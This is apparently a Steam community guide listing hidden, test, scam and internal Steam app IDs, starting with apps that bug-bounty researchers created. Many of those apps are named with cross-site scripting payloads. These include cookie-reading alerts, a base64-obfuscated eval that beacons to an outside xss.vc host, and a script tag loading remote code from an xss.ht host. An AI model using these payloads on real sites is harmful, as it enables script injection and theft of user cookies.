This sections tries to include all apps created specifically to test Steam/Steamworks and is grouped by the hackerone handle. It is only meant as an imperfect list, please just let me know if you do not wish to be included here. Like the rest of the guide, this it based on open information and can be incorrect.
⠀⠀⠀⠀⋅ njbooher
He's OP, please nerf

App Name
ID
Availability
Icon
Notes
'"><audio/onloadstart="eval(atob('dmFyIGE9
ZG9jdW1lbnQuY3JlYXRlRW
xlbWVudCgiaW1nIik7YS5zcm
M9Imh0dHBzOi8vYS5
4c3MudmMvanAzZ
HprN2xuaS8/bT0xIjtpZih3aW5
kb3cubG9jYXRpb24uaH
JlZi5pbmRleE9mK
CJhbGVydHBseiIpIT0tMSl7
Y29uZmlybShkb2N1bWVudC
5kb21haW4pO30=
'));"src>
1090980
The icon says "UltraFunGame" (Steamworks tutorial game from Tom Giardino), related to 1026530
no name
1026530
Public group chat
related to 1090980, EULA
YOLO
1252490
Part of the package I need a new app to figure out why HackerOne can't reproduce this XSS (434755), related to 1090980
YOLO2
1254450
Related to 1090980 and YOLO (1252490)
Hand Sanitizer
1149040
part of the joke bundle Coronavirus Hoarding Kit
New Zealand VR
1142400
Formerly called Toilet Paper and part of the joke bundle Coronavirus Hoarding Kit (13971), picture is from Queenstow, interesting app history, public group chat
My Game - DLC (Deleted) (Deleted) (Deleted): My Game - DLC (Deleted) (Deleted) (Deleted): My Game - DLC (Deleted) (Deleted) (Del
1026540
RealStorePage
1363440
Related to 1395550; Also this
Untitled Playtest
1395550
Related to 1363440, Perhaps related to the 04.09.2020 $2,500.00 undisclosed bounty, likely about adding apps to packages without permission. Edit: I was right :D hackerone.com/reports/972243
1365840
Also this nightmare from Zelda, used to be part of Buy Me (479025)[i.imgur.com]
1365890
Part of Buy Me (479025)
Don't buy this. You'll get nothing. You were warned.
1458910
playtest
1618500
Related to 1026530
If you buy this, you will literally get nothing. You were warned. Seriously, I don't know why anybody would buy this. But cottages by the sea are more expensive than expected. So..
1823970
⠀⠀⠀⠀⋅ cdl[www.hackerone.com]
For triaging.

App Name
ID
Availability
Icon
Notes
')doggos>
927000
Community Hub, seems to be a test from Corben Leo (going by alt accounts and xmp data)
')doggos>
927010
Tool of TestApp (866490)
TestApp
866490
Has a public store page. Also live XSS lol
⠀⠀⠀⠀⋅ mvc
https://gtm.you1.cn/games/1057910/announcements/detail/4173099803049846478

App Name
ID
Availability
Icon
Notes
hackerone_test_app
967030
hackerone_test_app3 (application created without prepayment)
1057910
historically has a 404 image now
⠀⠀⠀⠀⋅ romesful
Cool person and finds xss exploits within 10min. 10/10 Would recommend again!
Also at https://t.me/bugpoint

App Name
ID
Availability
Icon
Notes
<svg onload=confirm(document.cookie)>"
1337980
Community Hub, historical name:
hello, uniq c:
1337981
SilenceAndTranquility Playtest
1469070
Thanks, uniq
1463560
"><svg/onload=confirm(document.domain)>
1469600
Confirmed xss, is being reported
Test application<x>
1345010
⠀⠀⠀⠀⋅ ziot[www.hackerone.com]
Perhaps in the last years for triaging?

App Name
ID
Availability
Icon
Notes
no name (<H1>test</h1>)
331780
"><script>alert('xss')</script>)
331820
no name ("><script>alert('xss')</script>)
331830
no name ("><u>test)
331840
Brett Test App Demo
331850
</title>"><script>alert('xss')</script>)
332080
no name (Te'st)
343240
Time and Name
no name ("><img src="#" onerror="alert('xss')" />)
343870
Time and Name
no name ("><script>alert('xss');</script>)
343880
no name ("><img src="#" onerror="alert('xss')" />)
343890
no name ("><img src="#" onerror="alert('xss')" />)
343900
no name ("><img src="#" onerror="alert('xss')" />)
343910
no name ("><script>alert('xss');</script>)
343920
000"><audio/onloadstart="prompt(33)"src>
737430
Has an EULA page
test
737550
Tool of 000"><audio/onloadstart="prompt(33)"src> (737430)
qwerty <body onscroll=alert`1`><br><br><br>
737560
<body onscroll=alert`112`><br><br>
738410
Series Suggestion Test: <body onscroll=alert`11`>1<br>test<br>2<body onscroll=alert`11`>
740830
<body onscroll=alert`112`><br><br>: <body onscroll=alert`11`><br><br>
740840
no name (><audio/onloadstart="prompt(document.domain)"src>: S02E02 (Deleted))
740860
Series Suggestion Test: ><audio/onloadstart="prompt(document.domain)"src>: S03E01
740870
</script><body onscroll=alert`11`><br><br>)
740920
Belongs to <H1>test</h1> (331780)
</script><body onscroll=alert`11`><br><br>)
740930
Belongs to <H1>test</h1> (331780)
⠀⠀⠀⠀⋅ ian
App Name
ID
Availability
Icon
Notes
"><script src=https://iangc11.xss.ht></script>
1269760
Perhaps related to the 04.06.2020 $2,500.00 undisclosed bounty, likely about adding foreign depots to package without permission (see the history of package 441917). Community Hub
⠀⠀⠀⠀⋅ ruby nealon
Ruby Nealon created arguably the most popular poc app and was so successful, he is listed on Valve's Hall of Fame for security related contributions. Note that Watch paint dry was created before Valve had a hackerone bug bountry program.

App Name
ID
Availability
Icon
Notes
Watch paint dry
445730
Writeup[medium.com]
⠀⠀⠀⠀⋅ PsyKitty
As far as I know PsyKitty does not have a hackerone account, but used to do a lot of testing before Valve had a bug bounty program. He also disappears a lot :(

App Name
ID
Availability
Icon
Notes
PsyKitty Test App
802380
Public Group Chat
Mixed apps

This section includes a wide variety of apps. Pretty much anything interesting or with a special title that isn't trivial to find and doesn't belong in a different category will be included here.



⠀⠀⠀⠀⋅ special characters
App Name
ID
Availability
Icon
Notes
no name
236230
404 icon
Can be displayed in the group showcase
no name
805490
historically has a 404 image now
XEOX
🌽
657880
historically has a 404 image now
Community Hub, part of the package &lt;3 valve &lt;b&gt;test&lt;/b&gt; &quot;&gt;test (185865)
Balls!🤬🍆
1156670
🤬🍆
1170690
🌈
1174160
Related to 🤬🍆 (1156670), Community Hub
🤑🤑🤑
1173360
Related to🤬🍆 (1156670), Community Hub
> placeholder <
1010080
Will likely change
-- none -- [Not currently available]
352540
Open package, but missing main game. Works for showcases
"....."
759620
`asdf` Playtest
1398140
`asdf` Playtest
1398150
_ERROR_DO_NOT_USE
294520
Child of Light
#
773000
#A
815930
[Oboslete] Beat Stickman: Infinity Clones - Definitive Edition
1105780
[TITLE NOT IN USE]
72790
[UNUSED] Krita Demo
289970
/dev/null
1227880
Community Hub, Related to 1156670
(Depreciated)
292750
(Old steam page)
1737960
???
17760
Probably releated to the Half-Life 2 Mod "Age of Chivalry", Community Hub
123
841520
2333
863860
The Chinese name is Cyberpunk 2077; likely a scam
no name (1C Studios Test Application)
46240
顶酱
1117210
Used several different names including Cyberpunk 2077, tries to hide the store page with invalid age restrictions
﷽﷽﷽...
1911820
⠀⠀⠀⠀⋅ A - A
App Name
ID
Availability
Icon
Notes
abandoned
342110
Related to NeXus: One Core
Abstractism
781600
According to reports a cryptominer, banned
no name (Active Gaming Test)
377110
A Funny Place
733900
A Game of Thrones--continued
200560
Aliens: Colonial Marines Developer Test App
222460
Alienware Alpha
325770
Altex
837960
Community Hub, Uses game images from EA titles
AMD Driver Updater, Vista and 7, 32 bit
61800
Amazon.com - Instant Hunter Pack
337170
AMD Driver Updater, Vista and 7, 64 bit
61810
AMD Driver Updater, XP, 32 bit
61820
AMD Driver Updater, XP, 64 bit
61830
no name (Ancible Server)
1102070
no name (Andy's Super Great Park)
385450
no name (Angry Birds)
96600
no name (Angry Birds Rio)
210530
no name (Antisquad - Developer's checker FAKE DLC)
338380
App Id 65120
65120
404 icon
Probably the most popular "hidden" Community Hub
App 534960
534960
Fake
App 1024930
1024930
Within a package called Wishlist Surprise (340505)
App Test 1
100010
Perhaps created by a Valve employee named Neil, package Neil's Test App (13382) and Special Neil Sub (4864), maybe also Wunderboy
Amiss13_mpServer
818120
Arkane Private Test App (Dishonored)
221240
ARMA 2 beta
33940
Arma 2: Operation Arrowhead Beta (Obsolete)
219540
Arma 3 Alpha Lite - expires now
228800
asd: S01E01
795560
empty Testvideo, related to 786230
no name (Assassin's Creed Franchise)
282940
no name (Audit.Log)
1142530
Public Group Chat
no name (A U T O B A H N)
821240
XEOX INC. > Autobahn
no name (Autodesk)
288410
Name by a SteamDB staff comment
AVA Test Client
210760
no name (awesomegamestestapp)
366020
no name (AYZ_Internal)
245830
Part of the package 29277 which used to be restricted to the IP Address range 62.73.169.66/32 which belongs to Creative Assembly
⠀⠀⠀⠀⋅ B - B
App Name
ID
Availability
Icon
Notes
no name (badlandtestapp)
367230
Public Group Chat
Batman: Arkham City OSX PL
200269
404 image
Public Group Chat
Безумный Макс: Дорога ярости Player
399220
no name (Bethesda Softworks)
233090
Name according to a SteamDB staff comment; has a Public Group Chat
no name (Bethesda Workshop test app)
347750
no name (Bethnet Test App)
361610
no name (Bethnet Test App Demo)
361860
no name (best game eu - source code (852350) Depot)
852350
BG Test App
744230
Blur
2912850
fake
Borderlands 2 Press Review
219050
Borderlands 2 Testbed
207830
Borderlands 2 Unused Pre-Order DLC 1
49536
Borderlands 2 Unused Pre-Order DLC 2
49537
Borderlands 2 Unused Pre-Order DLC 3
49538
Brady Guide Test Application
101999
Brady Test Guide
101000
BWFTest
943250
⠀⠀⠀⠀⋅ C - D
App Name
ID
Availability
Icon
Notes
Cash_Out Authoring Tools
374930
ccc
376330
Civilization 5 Beta Debug
16820
Codename Gordon
92
steam://install/92
Codename [PRE-ALPHA]
758310
Cooking Champions
1089680
no name (Comic Test)
328490
no name (Corona Labs Test App)
391790
Coronado_Deprecated_Server
763670
DLC of Fractured Lands (751240)
no name (Corrupt Depot - Do not use (447688) Depot)
447688
Related to Stellaris
Costume Quest Achievement Testing App
203580
no name (Creation kit Beta)
348720
Related to Bethesda Workshop test app (347750)
Croteam Advertising App
885610
Cutie Café Test App
662630
no name (Data 2_)
960760
banned
DE Dev App
206330
no name (DefaultEnglish)
1187550
Deleted 1
1148860
Deleted 2
1148850
Deponia The Complete Journey daily adv app
371040
Destiny (now "Upcoming Game")
347300
Context[www.pcgamesn.com]
Developer
389600
Showcase works
Devolverland Expo
1371260
[Dev Tools]
368380
no name (DiRT Showdown Review)
211840
Public Group Chat
Dishonored Test App
211300
Disney Launch Advertising App
327320
Steam's 404 image
DLC_Preview
41073
no name (DLC Sample 1)
398420
Related to TestApp8572637 (376000)
DLCTest1
1748920
DlcTest_Erangel
1352810
Public Group Chat
no name (dlc_wallpaper)
237152
Do not use
24450
Related to King Arthur - The Role-playing Wargame
do not use
904250
Do Not Use
904250
Related to Doctor Who Infinity
DOOM 3: BFG Test App
215950
⠀⠀⠀⠀⋅ E - G
App Name
ID
Availability
Icon
Notes
EA Play
1400730
EA Play
1289670
EA Play
1568610
Eco Server
739590
Elder Scrolls V: Skyrim Prima Guide
200000
Empty Title
1037030
no name (Epic Test App)
266960
Europe content
1144231
no name (Evolve [Closed Beta])
203190
Fake Game 629350
629350
Dota 2 item scam, banned
no name (Fake News)
1143761
Figure World Unused AppID
587030
First app
402360
Finders Keepers
946270
Football Manager 2013 UNUSED (formerly press review)
216550
Fractured Space Dedicated Server
1034110
no name (Frag doch mal... die Maus!)
344870
no name (FranknJohn)
272650
Free To Play - Test Only - Don't Use
339680
FTR Dedicated DONT USE :(
773040
no name (FusionTestApp)
287470
Game 1
204490
no name (Gametest1)
1094850
Public group chat
Garry's Mod - Beta
4010
Public Group Chat
GavinWoodTestApp
204830
no name (GDC Test Stuff)
353900
Gearbox Labs
49560
Public group chat
no name (Generic Shooter: The Game)
388560
Greenlight title
no name (Generic Shooter: The Game)
395670
Greenlight title
GPGTestApp001
40150
Grand Theft Auto V
362003
Has the same name as the game, but no icon
no name (Greenlight6)
242900
SteamDB staff comment: Endless Legend Dev
Grotesque Tactics: Evil Heroes - Dev
46470
GShare - Steam Free Credit Test
699690
Probably releated to https://gshare-steam.xsollasitebuilder.com/ (could be a scam)
Guild Wars Daily Deal Advert App
322230
⠀⠀⠀⠀⋅ H - K
App Name
ID
Availability
Icon
Notes
Hardware (Delta)
220880
no name (Half-Life 2: Capture the Flag (BETA))
285560
no name (Half Life 3)
366560
Fake
HBDIE: 2
2066250
Hidden_Promo_WeaponTexturePack_1
928040
HOMEFRONT [Dev]
55180
HOMEFRONT [Alpha]
55190
no name (Howard)
273180
Could be related to Fallout 2 or a joke
no name (HUAWEI VR Glass 6DoF Driver)
1810290
no name (Human Resources)
333610
ignore
1459350
test music
no name (Immortal Games MMO)
25100
Intel Level Up community group
204430
no name (I smoke weed (722950) Depot)
722950
Original image has a lot of xmp metadata; Belongs to Hentai (704550)
no name (I'm Joshua)
424620
i'm not alone
50800
no name (JaseC Test App)
664020
Probably from JaseC
no name (JaseC Test App 2)
887360
Probably from JaseC, Public Group Chat
no name (JBTestApp)
309950
PLAYERUNKNOWN'S BATTLEBOXES
819180
Fake and seemingly banned, Community Hub
JP Ep 2: NOT USED
201840
JP Ep 3: NOT USED
201850
JP Ep 4: NOT USED
201860
Keen TestApp
546010
Test app for SpaceEngineers
KEKW
723360
Kenomaze
2059400
Dev wakes up and is surprised they're not banned yet[steamdb.info], Picture shows MontanaBlack
Keplerth Uploader
925420
no name (Keywords Test App)
539130
A lot of testing and no connection to the icon, Might be from Valve, Related to 779460 and 1050300
Kill All Melons
209250
Many weird name changes
Kill Me PLZ
463500
⠀⠀⠀⠀⋅ L - M
App Name
ID
Availability
Icon
Notes
L.A. Noire PR
202430
Public Group Chat
no name (Lag)
935800
no name (Labs)
774791
Very interesting, is updated very frequently and is big in size; Also For marky <3
no name (Launcher)
372530
SEGA Launcher test
Lawbreakers - PlaceholderAppID
650550
League of Legends
20590
Was sold on Steam a long time ago
Left 4 Dead Authoring Tools
513
Left 4 Dead 2 Authoring Tools
563
Left 4 Dead Dedicated Server
222840
no name (Leschek's Flight (758460) Depot)
758460
Belongs to Tiny and Big: Grandpa's Leftovers (205910)
LibreOffice
217670
no name (Life is Strange 2 - Debug *not for retail - ever* (957240) Depot)
957240
Linux Dedicated Server
1099730
Lord of the Rings: War of the North - Test Build
32820
LucasArts Test App
224400
Lurking in the Shadows Dedicated Server
1086350
Madballs in...Babo: Invasion Dev
25730
MAKE WAR NOT LOVE 5
801990
Promotion by SEGA[www.makewarnotlove.com], Community Hub
no name (Malwarebytes)
368130
no name (Marvel Heroes Test New Install Script)
257100
Masmūḥ Games
796180
Master Arena Server
704980
no name (Maxx's Cosmic Adventure)
389100
Meridian4 Daily Deal
307860
Metaforic TestApp 1
209550
Public Group Chat
Metaforic TestApp 2
209570
Public Group Chat
Metaforic TestApp 3
209590
Public Group Chat
Microsoft unused available for reuse
210210
no name (MicrosoftTestApp)
277370
MISTAKE - PLEASE DELETE - GroundBranch - Dedicated Server
892670
MKX Main Depot
307781
ModboxSDK-UNUSED
458130
Monday Night Combat Development
63230
Monolith Central Tech Sample
211920
Public Group Chat
⠀⠀⠀⠀⋅ N - N
App Name
ID
Availability
Icon
Notes
Natural Selection
120
Hidden and has a Half-Life Lamda Icon
no name (DLCtest, from Neptunia U)
409050
no name (Neptunia U DLCtest)
409080
no name (net_code_)
814820
Depot name: Hacker Content
launching crapmud_client.exe
NDA, SSA & ToS
706670
no name (Nether Test App)
332870
no name (new direction test app)
383290
no name (New_Project_03)
694280
Is likely Zombie Army 4: Dead War
NH Test App
913380
Night Dive advertising app
336390
Noesis - Source Vehicle Scripting
236600
none
339860
none
385020
none
398970
None
859310
notagame
1125310
Nothing
381920
By Mesut Erce
Nothing
1534200
Public group chat, perhaps for bug bountry
NOT War of the Immortals - Use for something else
211220
Nuclear Dawn - Dev: Dedicated Server
17790
Steam's 404 image
Null
1862330
null
418010
NVIDIA.SteamLauncher
236600
Restricted idling
⠀⠀⠀⠀⋅ O - Q
App Name
ID
Availability
Icon
Notes
O
974900
ok
529720
OLD, DO NOT USE
223940
OLD ION (DO NOT USE)
568260
ONRUSH
492190
ONRUSH was never relased or announced for Steam and delisted from the Microsoft Store in October 2020
Original
1023190
Public group chat
Paradox Web Test
215570
no name (Path of Exile SteamPipe Test)
257580
pdx_online
358860
Updated very frequently, probably related to Paradox's pdx_online.dll file
PC Gamer
92500
no name (Petroglyph Games Developer Test App)
90550
no name (Phoenix Labs appID)
331370
Archon?
Placeholder - to be deleted
962800
Placeholder - to be deleted
881440
Placeholde - to be deleted
728480
Plato
1297180
POWER Dedicated Server
1339270
Pre Load App Test
380190
PrimeTest
77000
PopCap Complimentary
Pro Arena Alpha
1468960
Something happened and the dev changed the store front. Currently works in showcases
Profile Background Cropper
853520
steam.design, public group chat
ProtoDefense_Depot
60602
no name (Project45 DLC Two)
313150
Related to Tangentix Test App 2 (312110)
no name (Project45 DLC Three)
313151
Related to Tangentix Test App 2 (312110)
no name (Project45 DLC Four)
315360
Related to Tangentix Test App 2 (312110)
no name (Project45 DLC Five)
315361
Related to Tangentix Test App 2 (312110)
Project Conductor - NOT USED
224720
Public group chat
Project PHJ
1044850
Project Replay
388860
App was created 4 years later, but could be related to this project http://www.replayproject.eu/ (YOU NEED TO WATCH THIS)
Project Space War
906180
Project Wraith
950660
no name (Prosieben Test Game)
260110
no name (Proxy)
370980
QuakeCon 2023 Advertising App
1726640
⠀⠀⠀⠀⋅ R - S
App Name
ID
Availability
Icon
Notes
Race Internal Beta
4206
Steam's 404 icon
Radline + Dedicated Server (obsolete)
696640
RAGE Press App
201530
Public Group Chat
Rainbow Six Siege - test 1
1114440
Rainbow Six Siege - test 2
1114441
RebLivTest
3740
Rebellion Comp
Red Tie Jumper (formerly I Spent Two Years On This :()
391150
The image is outdated
Related Design - TestApp1
209970
Anno 2205 Test App
no name (Ren'Py)
368460
RGL/SC (Rockstar Games Launcher - Social Club)
1899670
Rockstar Games Official Game Group
202770
Rowanpluck Core APP
915640
Rune Closed Test
840650
Rune Ragnarok Test App
SEGA 60th Anniversary
1442870
Schrodinger's cat simulator
1204870
Scribblenauts Unlimited Dev Test App
235860
Public Group Chat
no name (SCS Test App)
310650
Publisher test app: SCSsoftware
Second Life
209930
Announced for Steam in 2012, but never released.
Secret Service
10160
no name (sentient life upgrade)
371820
Serious Sam 2
3930
server
559480
Apparently related to Microgons (529870)
ServerBuildTest01
649260
Tool of Test Milestone - Steam Installer (336470)
Shadowrun Chronicles: INFECTED Director's Cut -DO NOT USE CORRUPTED!
422360
Shrek 5
773920
Fake and banned, used to be scram
SIM720_LIBS
352181
Sixense MIDI Controller
3559249
Sixense SDK for the Razer Hydra
42300
SOW - DO NOT USE
852270
source_code
488190
Spacewar
480
no name (Spearhead Games Admin)
316730
Standalone Test
99510
no name (Star Conflict - All DLC Bundle)
371680
Stardust Industries
690290
Starforce DRM test
204320
⠀⠀⠀⠀⋅ S - T
App Name
ID
Availability
Icon
Notes
Steam - Blacksheep
841480
SteamDemo
3093680
Steam Input - Eichorn Test
1031390
Steam Features Test Gam
2012770
no name (steam leak again)
841480
used to have a public store page
no name (Steampublishtest123)
370610
Belongs to Evolve Stage 2 (273350)
Steam Pre-order DLC
41017
SteamProto
466950
Steam prototype for Quantum Break
Stream Service
1080150
Steam Test Game
1980100
Streaming Video Player
396220
no name (Super Sneaky Test App)
315370
no name (T150127)
346960
Found in the package Valve GDC App Package (60765), also this[www.taxpolicycenter.org] lol
Take On Mars - INTERNAL
200470
Tanks4NothinServer
557920
no name (Tangentix Test App 2)
312110
Also related to Project45, package 47012
no name (Tangentix Test App 3)
312130
Tangentix is the company behind the discontinued https://www.gamesessions.com/
Te Demo
870370
In a fake package called Half-Life 3 for Beta Testing
TEAM1 DLC #9
50148
TEAM1 DLC #10
50149
no name (Tegotech Test App)
303970
no name (TempTemp)
799900
Related to Open Fortress
no name (Tetrageddon Games)
354130
the cave: not in use
221825
The Last Contact
976190
no store name
no name (The Legacy Games)
629600
TheSecretGame2
779850
TheSecretGame2 Dedicated Server
1007130
no name (Tp Games Bundle)
380620
⠀⠀⠀⠀⋅ Test - Test
App Name
ID
Availability
Icon
Notes
test
340190
Only on the community hub, Store page
test
656410
test
207470
TEST
811610
Test
447450
Related to Neptunia Re;Birth1
Test02
473830
Related to Neptunia Re;Birth3
Test03
783360
Related to Hakuoki: Kyoto Winds
no name (test1)
419010
Related to Uplay Testing 2
Test 2
863950
TestApp
1182480
404 image
UGC can be uploaded. All items uploaded for this app are hidden from the activity feed, unless added to favorites
TestAppAustin
1105610
Test App
1032610
Demo of Vid (911700)
Test App
1032620
Tool of Vid (911700)
Test App
1032630
Tool of Vid (911700)
Test App
1407200
Related to World of Tanks
no name (Test App)
402960
no name (Test App)
385610
no name (Test App Sep)
323090
Test APO
823230
Testapp2020
1385510
no name (TestApp8572637)
376000
Related to DLC Sample 1 (398420)
TestApp
452820
Public Group Chat
TestApp204700
204700
historicallyhas a 404 image now
Style reminds of Hoten
no name (TEST App ID)
341970
Related to Fear Online
no name (testas d)
330790
TestContent
6720
test_DLC
307440
no name (Test DLC)
300010
SteamDB note: Timmy was here., Belongs to American Truck Simulator (270880)
Test Dlc
1120740
404 image
no name (Test Item)
375940
Test Milestone - Steam Installer
336470
Related to RIDE
no name (test new app with no packages 2)
337580
no name (Test Partner Created App)
286620
[Test] Puzzle Pirates
99930
Test Tool
930190
Tool of 699690
Test Vid2
964860
Parent of Test Vid2 Downloadable Content (964870)
Test Vid2 Downloadable Content
964870
DLC of Test Vid2 Downloadable (964860)
Test Video App
911740
Test Video App (Game)
911780
⠀⠀⠀⠀⋅ Th - U
App Name
ID
Availability
Icon
Notes
no name (The Best of EA)
1344490
The Elder Scrolls V: Skyrim Preorder Ad App
72869
The Project
1160200
Trading_Cards_Explainer_2022
2065360
Train Simulator: Steam Edition Tool 1
599330
no name (Tripwire Test App)
210270
Totally not suspicious game
1459100
Total War: Shogun 2 Dev
34250
no name (To be deleted)
327780
no name (TT Games Test App)
321720
Turbine Microtransaction Test
202150
no name (TuTVR 1)
1116610
no name (TuTVR 2)
1116611
no name (TuTVR 3)
1116612
no name (TuTVR 4)
1116613
Ubisoft Connect PC Client
1716750
Ubisoft Test App
227140
Ubisoft Test App
208220
Universe Sandbox Legacy - School Edition
221320
Available for schools
Untitled Perspective Game
1049410
no name (Uplay Testing 2)
320810
Denuvo testing
U L T R A _ H A R D C O R E
793720
U L T R A _ H A R D C O R E - Workshop Tool
821110
Unknown Nightmare
815920
Unreal Development Kit
13260
UNUSED APP (formerly Da Vinci)
116800
Unused App ID
190410
no name (unused appid 544100)
544100
Unused (DF)
233570
unused game (dupe of 212860)
213510
untitled test app
409940
Upcoming Fatshark Game
42150
USpacemenDedicInternal
912440
From Unfortunate Spacemen (408900) and the parent app is 483750
⠀⠀⠀⠀⋅ V - Z
App Name
ID
Availability
Icon
Notes
no name (Valve Simulator)
313270
Lost Story: The Last Days of Earth developer
no name (Variable State Application 1)
379330
no name (Variable State Application 1)
213510
Vid
911700
Parent of 1032610, 1032620, 1032630
no name (Video Trading Card Test)
403310
no name (Video Upload Test)
344310
vnchart123
1507830
no name (vrworkbench)
336580
VRKanojo LT
559180
Community Hub, Apparently unreleased and deleted VR erotic game from a Japanese developer
Warframe Test
231850
Wargame continued
58640
Warner Bros Franchise
724040
no name (warning! There is no tutorial. Please watch videos!)
374200
no name (War Online - Developer Studio (NOT USED ANYMORE))
908720
no name (Waydroid)
3029110
no name (Waydroid Development)
3056000
no name (WB DETE Transfer Test)
422060
no name (WHISKEY_DEV)
398870
World War II Online Subscription Placeholder DLC (Not Public)
683380
WOT - DO NOT USE
102300
Xbox Games Showcase
1377270
X-Com: Enemy Unknown UNUSED
219360
XCOM 2 Development Tools
299990
xiaotongSteamTest Playtest
1973540
no name (XXX don't use XXX)
258130
Related to Shootmania Elite
xxx don't use xxx - Disney Infinity 3.0 - Marvel Theme Pack
400970
xxxxxxxxxx'"\'\"
968000
no name (YoYoGames TestApp)
404000
Developer of GameMaker
Zero G Arena development files
585650
Some Valve games
This section contains some interesting apps related to Valve's titles. This list is not completele and especially many of the dlcs, mods and public apps were left out.

more to come
⠀⠀⠀⠀⋅ Dota
App Name
ID
Availability
Icon
Notes
no name (Artifact Server)
583970
Name according to SteamDB's comment, still in Dota 2's dedicated server package
Dota 2
315300
Advertising App
Dota 2
328620
Marketing App
Dota 2
515780
The International 2016 Marketing App
Dota 2
515860
TI6 Marketing App 2
Dota 3
2869150
fake
no name (Dota 2 - Compendium)
218585
DotA 2 Dedicated Server
580
Dota 2 DLC Range
218570
Dota 2 - English Depot
575
no name (Dota 2 Eval Server)
247220
no name (Dota 2 Experimental)
247060
Dota 2 - OpenGL support for Windows
401530
no name (Dota 2 - IHV Vulkan)
369250
no name (Dota 2 Private Beta)
816
Dota 2 Private Beta Server
817
no name (Dota 2 - S2 Tool)
324430
no name (Dota 2 - S2 Workshop Game)
306580
Dota 2 - Short Film Contest 2015
373030
Is weird; can't be followed or joined
Dota 2 - Short Film Contest 2016
477220
Dota 2 - Short Film 2017
647770
Dota 2 - Short Film 2018
875860
Dota 2 - Short Film 2019
1090070
no name (Dota 2.5 Source2 Dedicated Server)
326920
no name (Dota 2 Source 2 Breakpad)
375360
Dota 2 Test - Dedicated Server
205800
Dota 2 Test
205790
Dota 2 Test 2
373310
Dota 2 - Vulkan support
476580
Dota 2 Workshop Tools Alpha
316570
Dota Streaming
543880
no name (Dota Underlords Serve)
1046950
Name according to SteamDB's comment, still in Dota 2's dedicated server package
DotaVR
503590
no name (HP Laptop - Dota 2 OEM Copy)
205791
no name (HP Laptop - Dota 2 OEM Copy)
205792
no name (HP Laptop - Dota 2 OEM Copy)
205793
no name (HP Laptop - Dota 2 OEM Copy)
205794
no name (HP Laptop - Dota 2 OEM Copy)
205795
no name (The International 2015)
392570
The International Opening Reel
682940
The International 2017
no name ()
466670
Server related
no name ()
1024310
Server related
no name ()
1105930
Server related
Johnb Test App
246480
Seems to be a test app from Valve
Climber
858220
Dota 2 item scam, banned
Fake Game 629350
629350
Dota 2 item scam, banned
⠀⠀⠀⠀⋅ Counter Strike
App Name
ID
Availability
Icon
Notes
no name ([Staging] Counter-Strike: Global Offensive - Valve Dedicated Server)
35580
Name of the package
[STAGING] Counter-Strike: Source Dedicated Server
232310
Public group chat
Balance In The Mountains (Counter)
1043540
banned
CSGO item scam
Counter-Strike Chat
943790
Public group chat
Counter-Strike Flair
1020710
Public group chat
no name (Counter-Strike Steamworks Beta)
150
Counter-Strike: Global Offensive - China
694711
no name (Counter-Strike Global Offencive Content)
320990
Misspelled, from the Lost Story Developer
no name (Counter-Strike: Global Offensive)
1800
no name (Counter-Strike: Global Offensive)
996610
no name (Counter-Strike: Global Offensive)
749
Test app
Counter-Strike: Global Offensive
730
Main game
Counter-Strike: Global Offensive Beta Dev
710
Counter-Strike: Global Offensive Beta Dev PS3
720
Counter-Strike Global Offensive - Dedicated Server
740
Counter-Strike: Global Offensive Full Edition
624820
Counter-Strike: Global Offensive Perfect World Edition
624821
Counter-Strike Global Offensive - Pinion Dedicated Server
742
Counter-Strike: Global Offensive Press
1820
Counter-Strike: Global Offensive Press
200740
Counter-Strike: Global Offensive PS3 DS
790
Counter-Strike: Global Offensive - RoW
694710
Counter-Strike: Global Offensive - SDK
745
Counter-Strike Global Offensive - Valve Dedicated Server
741
Counter Strike: Global Offensive Xbox Dedicated Server
236210
no name (Counter-Strike Nexon: Zombies)
314060
no name (Counter-Strike Nexon: Zombies Test Demo)
315290
no name (Counter-Strike Online)
11600
Counter-Strike: Sichuan Sauceee
988580
Fake, Community Hub, part of <details open ontoggle=window[/alert/.source](42)>... (325610)
no name (Counter-Strike: Source Beta)
260
no name (Counter-Strike: Source Beta 1)
261
no name (Counter-Strike Source Beta Content2)
262
no name (Counter-Strike: Source Beta Engine)
263
no name (Counter-Strike Source Dedicated Server)
264
no name (Counter-Strike Source Content)
320991
from the Lost Story Developer
Counter-Strike: Source Dedicated Server
232330
Fast Race Game
1440580
banned
CSGO item scam
Grigala Runner
936410
banned
CSGO item scam
Zombıe game
1511390
banned
CSGO item scam
⠀⠀⠀⠀⋅ Portal
App Name
ID
Availability
Icon
Notes
Portal
400
Main game
Portal 2
620
Main game
no name (Portal 2)
281710
What kind of name history is that?
no name (Portal 2)
351180
What kind of name history is that?
no name (Portal 2)
351360
Valentine's Sale 2015
Portal 2 Authoring Tools - Beta
629
Portal 2: Community Edition
440000
Portal 2 Content
320995
from the Lost Story Developer
Portal Content Pack
315420
Portal 2 Demo
1860
Not the actual demo, Community Hub
Portal 2 - Educational Version
213630
Portal: First Slice
410
Actual demo
Portal 2 - Gamestop PS3 DLC
650
Portal 2 In Motion
211480
Portal 2 - Perpetual Testing Initiative
2028030
Portal 2 - Pre-order
659
Portal 2 Publishing Tool
644
Portal 2 - Sixense Motion Preorder
669
Portal 2 - Summer 2011 DLC
654
Summer Sale 2011 prize
⠀⠀⠀⠀⋅ Team Fortress
App Name
ID
Availability
Icon
Notes
[CONSOLE] Team Fortress 2
218720
[Prep] Team Fortress 2
1880
[Prep] Team Fortress 2 Dedicated Server
232230
[Staging] Team Fortress 2 Dedicated Server
228920
Abstractism
781600
According to reports a cryptominer, included fake TF2 skins, banned
Bitcoin Miner
810270
Fake TF2 skins, banned
Team Fortress 2008 - Dedicated Server
944230
Team Fortress 2 Beta
520
Team Fortress 2 Beta Dedicated Server
229830
Team Fortress 2 Dedicated Server
232250
Team Fortress 2 Dedicated Server (VALVE PRIVATE)
218430
Team Fortress 2 DLC Range
217220
Team Fortress 2008
943490
Team Fortress 2008 - Dedicated Server
955080
⠀⠀⠀⠀⋅ Half-Life
App Name
ID
Availability
Icon
Notes
HL1:MP Linux client
364
Half-Life Ownership
635640
404 image
Half-Life SDK
254430
Half-Life Deathmatch: Source Dedicated server
255470
Half-Life Dedicated Server
90
Has one of the oldest group chats
Half-Life Uncensored
632440
Was published incorrectly and thus allowed german users to get HL for free
[CONSOLE] Half-Life 2 Multiplayer
218940
[CONSOLE] Half-Life 2 Multiplayer
218920
[STAGING] Half-Life 2: Deathmatch Dedicated Server
232350
Half-Life 2: Deathmatch Dedicated Server
232370
Half-Life 2: RUN. THINK. SHOOT. LIVE.
828120
Te Demo
870370
